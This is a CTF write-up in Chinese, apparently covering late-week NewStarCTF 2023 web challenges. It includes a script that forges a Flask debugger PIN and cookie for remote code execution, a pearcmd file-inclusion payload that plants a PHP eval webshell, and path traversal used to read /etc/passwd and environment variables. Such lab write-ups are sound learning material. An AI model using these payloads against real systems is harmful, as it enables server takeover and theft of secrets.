瞪不出来,遂看题解,题解也当谜语人,有点绷不住,于是参考了z1d10t
的题解
https://z1d10t.fun/post/dcc8a51b.html#WEEK5
原来是/proc/self/cgroup
获取的内容和往常算pin码的题不一样,受教了,正确解如下
取第一行的最后一个斜杠/后面的所有字符串
那么肯定是对的
然后由于console不出网,所以没法通过浏览器直接进入控制台,这个时候需要手算cookie,具体参考如下
https://unk.icu/2023/06/19/flask-pin/
无法直接进入控制台的情况下,对于发送验证pin码的请求有格式上的要求,最重要的就是s,然而这个是可以直接读的,好像还有个frm参数,但是好像是无所谓的(((如果需要直接访问报错页面在html源码里就能找到
格式大概如下
1 GET /?__debugger__=yes&cmd=pinauth&pin=xxx-xxx-xxx&s=prj74Iraob1k5eMHiH37
若auth成功,还会带一个cookie:
1 Set-Cookie: __wzdaba192b254d6aa653a27=1687143761|fd1c004c3dc3; HttpOnly; Path=/; SameSite=Strict
之后执行命令的请求,要带上面发过来的cookie,否则不执行命令:
1 2 GET /?&__debugger__=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37 Cookie: __wzdaba192b254d6aa653a27
手算cookie的话,直接见全脚本吧(z1d10t佬的题解还可以用gopher发包读到set的cookie值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import hashlibimport timefrom itertools import chain probably_public_bits = [ 'root' 'flask.app' , 'Flask' , '/usr/local/lib/python3.10/dist-packages/flask/app.py' ] private_bits = [ '16476878681546' , '' ] h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = numdef hash_pin (pin: str ) -> str : return hashlib.sha1(f"{pin} added salt" .encode("utf-8" , "replace" )).hexdigest()[:12 ] print (rv)print (cookie_name + "=" + f"{int (time.time())} |{hash_pin(rv)} " )
用Postman发包好使(((复现成功了,注意传参不能有空格,也不是%20,而是%2B=’+’(加号-0_0-
————————————————————————————————————————————————————————————
4-复盘 文件一多我就寄,慌了神,其实这是一道很简单的联想题,但是我又被迷惑了双眼,审代码审的昏天黑地也没把握到本质,最后只能玉玉
玉玉之后就只能看题解,结果只是简单的文件包含,要调用pearcmd
的话并不一定是include
,像file_exist
这样的也是同理的
就是要想到有装pearcmd这个插件有点难度,而且还是一句老话,用burp传((,直接在地址栏传也直接寄
1 /index.php?+config-create+/ &page=/../ ../../ ../../ usr/local/ lib/php/ pearcmd&/<?=@eval($_POST[1])?>+/ var /www/ html/1. php
多套几层../
,套多了不会怎么样,套少了就读不到了(((,然后蚁剑连接SUID提权,比赛结束后靠经典命令就读不到了,原因未知
然后就是gzip
提权,博客也就不引了,可以自己搜索一下
————————————————————————————————————————————————————————————
NextDrive 一道神秘题,主要看你有没有好奇心,我的好奇心自然是早就被磨灭了(,看到文件也不下载,只想着摆烂看题解了
(也有可能是最后一题的因素在把,想赶紧干完去搞别的了┭┮﹏┭┮
总之就是先随便注册一个账号,下载共享区里的test.res.http
,然后呢你可以试着自己上传一个文件,发现它分两次请求,第一次只需要一个hash值和一个文件名就能完成,第二次才是真正的传输文件数据,然后就是考眼力的时候
在test.res.http
里面有一个请求没发送出去,(坑,名字叫做test.req.http
,所以有理由推断我们可以伪造发送这个请求,然后就能直接拿到这个文件的数据(此点可以随便试着伪造一个共享区的文件上传,发现不需要第二次传输
拿到数据之后是admin
的用户凭据,直接修改uid和token就能admin上号了,上号之后可以观察本地资源,可疑的就是share.js
一通审之后,发现有些函数调用的是hash_fn
,有些调用的则是hash
,而且path.resolve
会强行忽略不重要的path路径名使之尽可能有效,那么我们就有理由实现一个目录穿越了,因为hash是hash_fn的前64位
所以说64位以后的我们就能伪造成我们想要的路径了
可以测试一下../../../../etc/passwd
或者也可以直接../../../../../proc/self/environ
,记住得用linux的curl来发包,
windows的curl应该是不行的,bp没试过(有兴趣的可以尝试一下
然后读环境变量的话要加--out filename
参数把读到的二进制文件保存在一个指定的文件里
————————————————————————————————————————————————————————————
至此我的NewstarCTF2023的征程算是告一段落了,有学到很多东西,我要是能牢牢记住的话应该会很不错,后三周题目质量对于我这样的初学者来说真的挺好的,感谢各位出题师傅,也感谢没有放弃的我自己^_^